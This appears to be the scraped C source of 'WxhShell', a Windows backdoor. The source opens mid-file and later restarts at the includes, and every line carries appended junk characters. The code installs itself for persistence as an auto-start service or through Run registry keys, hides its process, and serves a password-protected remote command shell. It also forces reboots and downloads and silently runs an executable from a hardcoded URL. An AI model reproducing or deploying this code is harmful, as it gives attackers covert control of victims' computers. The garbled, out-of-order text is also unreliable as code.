    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); Ii4 Byyfx  
    if(Boot(SHUTDOWN)) S&R~*  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 1nvs51?H  
    else { 6*]Kow?  
    closesocket(wsh); $?'z%a{  
    ExitThread(0); "E'OP R  
    } Xbap' /t  
    break; <rCl  
    } YjsaTdZ!&  
  // 获取shell a Y{E'K=  
  case 's': { S:oZ&   
    CmdShell(wsh); P}aJvFlmP  
    closesocket(wsh); T!/$ @]%\7  
    ExitThread(0); =fRP9`y  
    break; y`\/eX  
  } .oSKSld  
  // 退出 @NV$!FB<  
  case 'x': { S'?XI@t[  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); Z0-W%W  
    CloseIt(wsh); ,a?em'=  
    break; WQ6E8t)  
    } bggSYhJ?\#  
  // 离开 os#j;C]l  
  case 'q': { r]8B6iV  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); ?EYF61? rw  
    closesocket(wsh); K` U\+AE  
    WSACleanup(); 1{u;-pg  
    exit(1); qOk4qbl[  
    break; R?I(f(ib   
        } Q <78< #I  
  } gp$+Qd  
  } L5e aQu  
27 Lya!/  
  // 提示信息 [#14atv  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); P;A"`Il  
} N\xqy-L9  
  } ch< zpo:  
B4J^ rzK  
  return; VS 8|lgQ  
}  {kmaMP  
)"f>cYF  
// shell模块句柄 Q&n|tQ*4  
int CmdShell(SOCKET sock) iv56zsR  
{ KiCZEA  
STARTUPINFO si; ;rk}\M$+  
ZeroMemory(&si,sizeof(si)); /'ybl^Km  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; (*hA0&n  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; Jk(b=j  
PROCESS_INFORMATION ProcessInfo; 5 bMVDw/  
char cmdline[]="cmd"; 6,oi(RAf  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ;ATk?O4T  
  return 0; i?mDR$X:  
} 6!+"7r6  
ZtB0:'o;  
// 自身启动模式 ]C]tLJ!M  
int StartFromService(void) OlV>zam  
{ N%>/ e'(  
typedef struct TmO\!`  
{ T0aK1Lh  
  DWORD ExitStatus; 'kYV}rq;l  
  DWORD PebBaseAddress; i8A5m@,G  
  DWORD AffinityMask; Te5_T&1Z  
  DWORD BasePriority; <Z#u_:5@  
  ULONG UniqueProcessId; {Y\hr+A  
  ULONG InheritedFromUniqueProcessId; ku`'w;5jT  
}   PROCESS_BASIC_INFORMATION; NUm3E4  
cZ o]*Gv.  
PROCNTQSIP NtQueryInformationProcess; `ORDN|s6  
>5]Xl*{H)  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; DY,Sfh;tp  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; qr6WSBc  
Lu-owP7nB  
  HANDLE             hProcess; rLP4l~V   
  PROCESS_BASIC_INFORMATION pbi; xazh8X0P  
~r@'kUXKK  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); h=)Im )  
  if(NULL == hInst ) return 0; m#8KCZS  
ir/2/ E  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); kv)LH{  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 2X6y^f';\  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); HlV3rYh  
i?|K+"=D  
  if (!NtQueryInformationProcess) return 0; xcoYo  
cL=P((<K?  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); PqvwM2}4  
  if(!hProcess) return 0; a9D 5qj  
}H^#}  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 4N#0w]_,>Y  
7N'F]x  
  CloseHandle(hProcess); F3wRHq  
BRH:5h  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); $ar:5kif  
if(hProcess==NULL) return 0; 4"7Qz z  
mM}|x~\R  
HMODULE hMod; ;z%& 3u/  
char procName[255]; EB\z:n5  
unsigned long cbNeeded; $SXF>n{}  
xD_jfAH'  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 2RM1-j ($  
gqe z-  
  CloseHandle(hProcess); flb3Iih  
2c+q~8Jv  
if(strstr(procName,"services")) return 1; // 以服务启动 Y!Z@1V`  
|y=CmNG,  
  return 0; // 注册表启动 }Efp{E  
} O4-UVxv}  
{5_*f)$[H  
// 主模块 -j<UhW  
int StartWxhshell(LPSTR lpCmdLine) Z{ p;J^:  
{ e HOm^.gd  
  SOCKET wsl; ]Q,RVEtKp  
BOOL val=TRUE; h` n>6I  
  int port=0; i%\nJs*  
  struct sockaddr_in door; b?bIxCA8  
6+LX oR'  
  if(wscfg.ws_autoins) Install(); =z@'vu$Fh  
6tnAE':  
port=atoi(lpCmdLine); I5 2wTl0  
] c'owj  
if(port<=0) port=wscfg.ws_port; [;X YT  
1B WuFYB  
  WSADATA data; R 6M@pO  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; gi"v$ {R  
(@&|  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   8 3<kaeu,^  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ? 8~$du$  
  door.sin_family = AF_INET; .b]oB_  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); )p!dql K  
  door.sin_port = htons(port); }B]FHpi  
:F<a~_k  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { E+3~w?1  
closesocket(wsl);  m+vwp\0  
return 1; L\"=H4r  
} {'X"9@  
RF6|zCWuI  
  if(listen(wsl,2) == INVALID_SOCKET) { .y'OoDe  
closesocket(wsl); S)[2\Z{**T  
return 1; w]%r]PwU+  
} "#JoB X@yE  
  Wxhshell(wsl); $MsM$]~  
  WSACleanup(); =l_eliM/  
=]Ek12.  
return 0; 0\ gE^=o[  
`[ne<F?e  
} UbuxD})  
PB9<jj;  
// 以NT服务方式启动 9GQTe1[t4  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) k5PzY!N  
{ mV'd9(s?  
DWORD   status = 0; xbmOch}j6  
  DWORD   specificError = 0xfffffff; %R_8`4IQ  
nDPfr\\  
  serviceStatus.dwServiceType     = SERVICE_WIN32; AM}OL Hj  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; rFmE6{4:p  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; N.2rF  
  serviceStatus.dwWin32ExitCode     = 0; O0Z'vbFG  
  serviceStatus.dwServiceSpecificExitCode = 0; + 6}FUi!"e  
  serviceStatus.dwCheckPoint       = 0; 0\i&v  
  serviceStatus.dwWaitHint       = 0; q|6lw 74`  
\ oL+O|  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); , n EeI&  
  if (hServiceStatusHandle==0) return; \[8I5w-  
%8$wod6  
status = GetLastError(); pFG~XW  
  if (status!=NO_ERROR) |Rab'9U^  
{ @%jzVF7  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; R2;-WxnN]  
    serviceStatus.dwCheckPoint       = 0; -BjB>Vt  
    serviceStatus.dwWaitHint       = 0; "o TwMU  
    serviceStatus.dwWin32ExitCode     = status; J5l:_hZUV  
    serviceStatus.dwServiceSpecificExitCode = specificError; jwE<}y I  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); EM([N*8o  
    return; gReaFnm  
  } xAoozDj  
)_&<u\cm L  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; &2Y>yFB ,  
  serviceStatus.dwCheckPoint       = 0; =F:d#j>F  
  serviceStatus.dwWaitHint       = 0; 8m6L\Z&  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); }SOj3.9{c  
} XCt}>/"s\h  
%b_zUFHPp  
// 处理NT服务事件,比如:启动、停止 z24-h C  
VOID WINAPI NTServiceHandler(DWORD fdwControl) LAvAjvRc  
{ yC _X@o-n  
switch(fdwControl) Fs=nAn#  
{ 6Es-{u(,  
case SERVICE_CONTROL_STOP: [}VEDx  
  serviceStatus.dwWin32ExitCode = 0; )@sz\yI%U  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; +V0uH pm  
  serviceStatus.dwCheckPoint   = 0; fa!iQfr  
  serviceStatus.dwWaitHint     = 0; gmM79^CEF  
  { +XIN-8  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); !G8SEWP  
  } q= tDMK'h  
  return; ?^6RFbke+  
case SERVICE_CONTROL_PAUSE: 9EH%[wfv  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; V1Fdt+#  
  break; LOOv8'%O8  
case SERVICE_CONTROL_CONTINUE: )>?K:y8I~  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; j0OxR.S  
  break; {X<tUco  
case SERVICE_CONTROL_INTERROGATE: Karyipn}  
  break; KQ2]VN"?_  
}; %f>V\z_C  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); hio{: (  
}  %RJW@~!  
6x.#K9@q4  
// 标准应用程序主函数 B,A/ -B\  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ,iHl;3bu  
{ MbJV)*Q  
3L;)asF  
// 获取操作系统版本 S3n$  
OsIsNt=GetOsVer(); &yP9vp="  
GetModuleFileName(NULL,ExeFile,MAX_PATH); N2~Nc"L  
XCk \#(VSE  
  // 从命令行安装 xo]|m\#k5E  
  if(strpbrk(lpCmdLine,"iI")) Install(); g{nu3F}8){  
2R)Y}*VX  
  // 下载执行文件 le1'r>E$  
if(wscfg.ws_downexe) { s^E%Uk m  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) K!'9wt  
  WinExec(wscfg.ws_filenam,SW_HIDE); he!e~5<@y  
} ]pFYAe ?  
u9?85  
if(!OsIsNt) { 7o ;}"Y1  
// 如果时win9x,隐藏进程并且设置为注册表启动 uODpIxN  
HideProc(); J \G8 g,@  
StartWxhshell(lpCmdLine); N7[i443a  
} J\Se wg9  
else |}#Rn`*2y  
  if(StartFromService()) 3ldOOQW%  
  // 以服务方式启动 -\r*D#aHBN  
  StartServiceCtrlDispatcher(DispatchTable); VpD9!;S  
else N L~}  
  // 普通方式启动 O1-Ne.$  
  StartWxhshell(lpCmdLine); sKNN ahGjh  
 /y1,w JI  
return 0; #2n>J'}  
} :r!nz\%WW  
xro  
7Xw #  
_o<8R@1  
=========================================== PInU-"gG  
;Qw>&24h[  
F_@PSA+  
*)"`v]  
(LGx;9S?  
!d^5mati)T  
" >7 4'g }  
r`mfLA]d  
#include <stdio.h> x! Z|^q  
#include <string.h> 6o {41@v(  
#include <windows.h> _,~/KJp  
#include <winsock2.h> z}kD:A)a  
#include <winsvc.h> ``0knr <  
#include <urlmon.h> >/-<,,<\C  
@m#7E4 +  
#pragma comment (lib, "Ws2_32.lib") 02bv0  
#pragma comment (lib, "urlmon.lib") o-49o5:1  
?7(`2=J  
#define MAX_USER   100 // 最大客户端连接数 St'3e<  
#define BUF_SOCK   200 // sock buffer k;q|pQ[  
#define KEY_BUFF   255 // 输入 buffer Xul<,U~w6  
c"6<p5j!  
#define REBOOT     0   // 重启 ,7<5dIdZ  
#define SHUTDOWN   1   // 关机 ECQ>VeP  
<Ms,0YKx  
#define DEF_PORT   5000 // 监听端口 3~"G27,  
cgml^k\k^  
#define REG_LEN     16   // 注册表键长度 c:4 i&|n  
#define SVC_LEN     80   // NT服务名长度 `WX @1]m  
TLw.rEN!;  
// 从dll定义API >f74]J=V  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 0oc5ahp  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 7H9&\ur9+  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); vz/.*u  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 3 /oVl 6  
^jqQG+`?  
// wxhshell配置信息 jDOB (fE  
struct WSCFG { %Q]m6ciAM  
  int ws_port;         // 监听端口 3)p#}_u{  
  char ws_passstr[REG_LEN]; // 口令 RCgZ GP  
  int ws_autoins;       // 安装标记, 1=yes 0=no {rf.sN~M  
  char ws_regname[REG_LEN]; // 注册表键名 vm 1vX;  
  char ws_svcname[REG_LEN]; // 服务名 "0pu_  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 IL*C/y  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 FUiEayM  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 0LeR#l:I  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 4ZSc'9e9  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 8<{)|GoqB  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 ]u G9WT6l  
L;wzvz\+  
}; hZ[,.  
M9M~[[   
// default Wxhshell configuration R:fERj<s  
struct WSCFG wscfg={DEF_PORT, MB%yC]w8  
    "xuhuanlingzhe", {p=`"H>  
    1, 'MVE5  
    "Wxhshell", fH}#.vy  
    "Wxhshell", \mbm$E+X  
            "WxhShell Service", 3E) X(WJY  
    "Wrsky Windows CmdShell Service", criOJ-  
    "Please Input Your Password: ", :bNqK0[rS  
  1, $!H;,Jxv  
  "http://www.wrsky.com/wxhshell.exe", .}=gr+<bf  
  "Wxhshell.exe" s\@RJ[(<  
    }; F^fL  
6Q"fRXM   
// 消息定义模块 Gx,<|v  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 4l_!OUvt  
char *msg_ws_prompt="\n\r? for help\n\r#>"; )7f;FWI  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; (_Ph{IN  
char *msg_ws_ext="\n\rExit."; !?#B*JGFS  
char *msg_ws_end="\n\rQuit."; CD]"Q1 t}  
char *msg_ws_boot="\n\rReboot..."; >cpT_M&C,  
char *msg_ws_poff="\n\rShutdown..."; 8Qd*OO  
char *msg_ws_down="\n\rSave to "; o9*}>J<+RQ  
1P;J%.{  
char *msg_ws_err="\n\rErr!"; /g(WCKva  
char *msg_ws_ok="\n\rOK!"; DP_ ]\V<sT  
$F2 A  
char ExeFile[MAX_PATH]; ?d&l_Pa0e  
int nUser = 0; <$metN~9j  
HANDLE handles[MAX_USER]; Y=6569U2  
int OsIsNt; `#Z=cq^_  
9EHhVi  
SERVICE_STATUS       serviceStatus; g3B%}!|  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; zZR_&z<  
pL 2P .  
// 函数声明 @ LPs.e  
int Install(void); R2,Z`I  
int Uninstall(void); wIeF(}VM  
int DownloadFile(char *sURL, SOCKET wsh); /u?ZwoTzY  
int Boot(int flag); v,, .2UR4  
void HideProc(void); ||yx?q6\h  
int GetOsVer(void); 57@6O-t-  
int Wxhshell(SOCKET wsl); %wil'  
void TalkWithClient(void *cs); .6C9N{?Tqf  
int CmdShell(SOCKET sock); %'+}-w  
int StartFromService(void); pUF$Nq>og  
int StartWxhshell(LPSTR lpCmdLine); /;E{(%U)t  
 r`-=<@[  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 5! -+5TJI  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); ZP-^10  
>L4q>S^v  
// 数据结构和表定义 5y^I~"_ i  
SERVICE_TABLE_ENTRY DispatchTable[] = [A\DuJx  
{ &"l Sq2  
{wscfg.ws_svcname, NTServiceMain}, kZ5;Fe\*  
{NULL, NULL} S,0h &A9  
}; uE E;~`G  
ERTjY%A  
// 自我安装 }B1f_T  
int Install(void) D`c&Q4$:  
{ AcHr X=O  
  char svExeFile[MAX_PATH]; Y[sBVz'j5  
  HKEY key; +-2W{lX  
  strcpy(svExeFile,ExeFile); -<0xS.^  
)>"|<h.2]  
// 如果是win9x系统,修改注册表设为自启动 tW-wO[2  
if(!OsIsNt) { " l;=jk]  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 7! sR%h5p  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); QzLE9   
  RegCloseKey(key); | -l9Z  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { {HO,d{{  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); -sqd?L.p  
  RegCloseKey(key); .o#A(3&n  
  return 0; nQ+$  
    } v]h^0WU  
  } u!CcTE*  
} {q!GTO  
else { (4f]<Qt  
{e!3|&AX  
// 如果是NT以上系统,安装为系统服务 ~v>3lEGn*  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); RoFoEp  
if (schSCManager!=0) 3-Bz5sj9  
{ 0?,<7}"<X  
  SC_HANDLE schService = CreateService S\M+*:7  
  ( KOhK#t>H@0  
  schSCManager, awB+B8^s  
  wscfg.ws_svcname, U%rEW[j  
  wscfg.ws_svcdisp, A<}nXHs-  
  SERVICE_ALL_ACCESS, YQ|o0>  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , R :*1Y\o(  
  SERVICE_AUTO_START, g|Tkl  
  SERVICE_ERROR_NORMAL, */'j[uj  
  svExeFile, FFtB#  
  NULL, ZHM NG~!  
  NULL, Xk] uXx:TN  
  NULL, !&adO,jN+=  
  NULL, V7<w9MM  
  NULL fnJx$PD~  
  ); 7I/a  
  if (schService!=0) )">uI\bi  
  { #;0F-pt  
  CloseServiceHandle(schService); >PYc57S1c  
  CloseServiceHandle(schSCManager); }D]y -BbA.  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); * ,L e--t  
  strcat(svExeFile,wscfg.ws_svcname); PR3i}y>  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 6o.Dgt/f  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); uOAd$;h@_Z  
  RegCloseKey(key); X=@bzL;eq  
  return 0; NOSL b];  
    } Hb3..o:  
  } ku)/ 8Z`$  
  CloseServiceHandle(schSCManager); kO/YO)g  
} bfq%.<W  
} yZ-Ql1 1  
>H5_,A}f  
return 1; }SFmv},Ij  
} 8b"vXNB.f  
':|E$@$W  
// 自我卸载 ,`!>.E.  
int Uninstall(void) \E1CQP-  
{ =F% <W7  
  HKEY key; 1* ?XI  
~^/BAc  
if(!OsIsNt) { KBDNK_7A  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { &})Zqc3Lqk  
  RegDeleteValue(key,wscfg.ws_regname); yu}T><Wst  
  RegCloseKey(key); w~~[0e+E  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { q*<FfO=eQ  
  RegDeleteValue(key,wscfg.ws_regname); e$`;z%6y  
  RegCloseKey(key); }XD=N#p@z  
  return 0; 0.wNa~_G|  
  } bE!z[j]  
} b63DD(  
} +h? Gps  
else { ]u.)6{  
aJ J)ZP2+  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); *XI- nH  
if (schSCManager!=0) Et'&}NjI  
{ \I7&F82e  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); *QT7\ht3  
  if (schService!=0) t(99m=9>  
  { HggINMG  
  if(DeleteService(schService)!=0) { \0;EHB  
  CloseServiceHandle(schService); &hE k m  
  CloseServiceHandle(schSCManager); JSoInR1E  
  return 0; ikb;,Js  
  } p#N2K{E  
  CloseServiceHandle(schService); ~ Ofn&[G  
  } nTE\EZ+=2  
  CloseServiceHandle(schSCManager); xUPg~c0  
} Iv{uk$^7S  
} 5 Nt9'"  
sWq@E6,I  
return 1; "`V:4uz  
} zUA -  
G%dzJpC(  
// 从指定url下载文件 Z*Fn2I4  
int DownloadFile(char *sURL, SOCKET wsh) _=K\E0I.m  
{ u yoV)  
  HRESULT hr; ;?{OX  
char seps[]= "/"; $'w>doUlA  
char *token; ;y;UgwAM  
char *file; M1eM^m8U  
char myURL[MAX_PATH]; :m0 pm@  
char myFILE[MAX_PATH]; { 3Qlx/6<  
g6H`uO  
strcpy(myURL,sURL); brdY97s4  
  token=strtok(myURL,seps); n],"!>=+  
  while(token!=NULL) 7Q|v5@;pU  
  { .X"\ Mg  
    file=token; ^@$T>SB1  
  token=strtok(NULL,seps); |H%,>r`9S  
  } VO<P9g$UD  
-+Z&O?pSH  
GetCurrentDirectory(MAX_PATH,myFILE); loD:4e1  
strcat(myFILE, "\\"); S Q`KR'E  
strcat(myFILE, file); Np?/r}  
  send(wsh,myFILE,strlen(myFILE),0); #U6~U6@  
send(wsh,"...",3,0); ,o\~d ?4  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); B7n1'?  
  if(hr==S_OK) 7G%^8 ce{!  
return 0; v"sN K  
else #&Zj6en}M]  
return 1; Gdr7d  
!Xzy:  
} V0*9Tnc  
/< \do 1  
// 系统电源模块 .WS7gTw  
int Boot(int flag) 7Pr5`#x#  
{ :+ AqY(Gz  
  HANDLE hToken; ~Dj_N$_+9  
  TOKEN_PRIVILEGES tkp; Lmc"q FzK  
lmx'w  
  if(OsIsNt) { {WuUzq`  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); #Qd"d3QG  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); Gu%}B@4^  
    tkp.PrivilegeCount = 1; dLw,dg  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; rk `]]  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); ]U.YbWe^  
if(flag==REBOOT) { %)L|7v<  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) F"a31`L>H  
  return 0; mk +BeK  
} {&h=  
else { @qB1:==@7  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) _'P!>C!  
  return 0; 0{>P^z  
} $,jynRk7q  
  } l_ycB%2e^  
  else { [4HOWM>\  
if(flag==REBOOT) { ANd#m9(x  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) vUg o)C#<  
  return 0; lLZ?&z$  
} sX]ru^F3  
else { C6c]M@6  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) EYU3Pl%  
  return 0; **Q K}j[D  
} )%9 P ;/  
} $c24lJ#/  
XD|vB+j\O  
return 1; 6E.64+PJw  
} ipJnNy;  
6n'XRfQp)&  
// win9x进程隐藏模块 vLh,dzuo  
void HideProc(void) D4ud|$s1  
{ @Ke3kLQ_\X  
xkkW?[&  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); z*&r@P -  
  if ( hKernel != NULL ) OEs!H]v  
  { :_+Fe,h>|  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); O\zGN/!  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); }t.VH:02y  
    FreeLibrary(hKernel); D(Yq<%Q  
  } 3,{tGNl|  
6Er%td)f  
return; \:91BQP c  
} ] 73BJ  
VTxLBFK;  
// 获取操作系统版本 qGKQrb,K  
int GetOsVer(void) FrD,)Ad8Q  
{ ahm@ +/2  
  OSVERSIONINFO winfo; 2~SjRIpUw  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); Fd@:*ER  
  GetVersionEx(&winfo); Ov9kD0S  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) Zk n1@a  
  return 1; >-YWq  
  else ,a?$F1Z-  
  return 0; "e~"-B7(\Y  
} NQhlb"Ix  
S t0AV.N1  
// 客户端句柄模块 i:,37INMt  
int Wxhshell(SOCKET wsl) N}j^55M_]  
{ `Hq)g1a7q  
  SOCKET wsh; R?$ Nl  
  struct sockaddr_in client; q=h~zjQ?R  
  DWORD myID; oyY0!w,Y  
>L>t$1hXM  
  while(nUser<MAX_USER)  e{33%5  
{ QH_I<Y:n  
  int nSize=sizeof(client); 5\$8"/H  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); nyR4E}@:O  
  if(wsh==INVALID_SOCKET) return 1; 7ezf.[{R  
l/w<R  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); t&=]>blIs  
if(handles[nUser]==0) D$ +"n  
  closesocket(wsh); Xm}~u?$3  
else b ZEyP W  
  nUser++; !{L`Zd;C>w  
  } SmYY){AQ/  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); F,-S&d  
E>3fk  
  return 0; `CQMvX{  
} G6L /Ny3>_  
|KxFi H  
// 关闭 socket %8lF%uu!x  
void CloseIt(SOCKET wsh) K@z zseQ}=  
{  ?[G!6  
closesocket(wsh); QcDWVM'v  
nUser--; T5+iX`#M  
ExitThread(0); l ,T*b  
} PME ?{%&  
0cm+:  
// 客户端请求句柄 ^#VyIF3q  
void TalkWithClient(void *cs) gr")Jw7  
{ r*!sA5  
r&t)%R@q  
  SOCKET wsh=(SOCKET)cs; =?/RaK/ w  
  char pwd[SVC_LEN]; *n=NBkq%/!  
  char cmd[KEY_BUFF]; 9V=bV=4:  
char chr[1]; j7)Xm,wI8  
int i,j; 2So7fZa^wg  
.Z"p'v  
  while (nUser < MAX_USER) { yEe4{j$  
UldG0+1d  
if(wscfg.ws_passstr) { s]=s|  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ;h"?h*}m!\  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ,HFoy-Yq  
  //ZeroMemory(pwd,KEY_BUFF); }#/,nJm'  
      i=0; YkKq}DXj  
  while(i<SVC_LEN) { <([1(SY2e  
.iB?:  
  // 设置超时 'e4  ;,m  
  fd_set FdRead; \e/'d~F  
  struct timeval TimeOut; 4S]`S\w  
  FD_ZERO(&FdRead); {{?[b^  
  FD_SET(wsh,&FdRead); @,63%  
  TimeOut.tv_sec=8; b1}P3W  
  TimeOut.tv_usec=0; {yy ^DlHb  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); uYPdmrPB?l  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); bX:ARe O  
^< ,Np+  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Jk)^6  
  pwd=chr[0]; $#dPM*E  
  if(chr[0]==0xd || chr[0]==0xa) { E:N~c'k  
  pwd=0; +FWkhmTv  
  break; Gv!* Qk4  
  } ~$N%UQn?b#  
  i++; ~5HI9A4^  
    } 0.+"K}  
uOqWMRsoi  
  // 如果是非法用户,关闭 socket 1CiK&fQ'  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); *FkG32k  
} aD~3C/?aW  
m>gok0{pm  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); c8sY#I  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); :o}J u}t  
a(X?N.w  
while(1) { p AzPi  
; 2vHdN  
  ZeroMemory(cmd,KEY_BUFF);  ?6!7fs,  
.pgTp X   
      // 自动支持客户端 telnet标准   )jK"\'cK  
  j=0; "$? f&*  
  while(j<KEY_BUFF) { ?#^_yd|<  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); L[d 7@  
  cmd[j]=chr[0]; \d0R&vFHQ  
  if(chr[0]==0xa || chr[0]==0xd) { J(0.eD91v  
  cmd[j]=0; Nw}y_Qf{  
  break; !aD/I%X  
  } l K%pxqx  
  j++; TE4{W4I  
    } <a|$ Bl  
Ctxs]S tU%  
  // 下载文件 ;f7(d\=y  
  if(strstr(cmd,"http://")) { #5kQn>R  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); |2\6X's  
  if(DownloadFile(cmd,wsh)) [ds:LQq)/  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); a[:0<Ek  
  else n^|n6(EZ  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Us'm9 J  
  } tm~V+t!mj  
  else { DD\:glo  
I_J;/!l=  
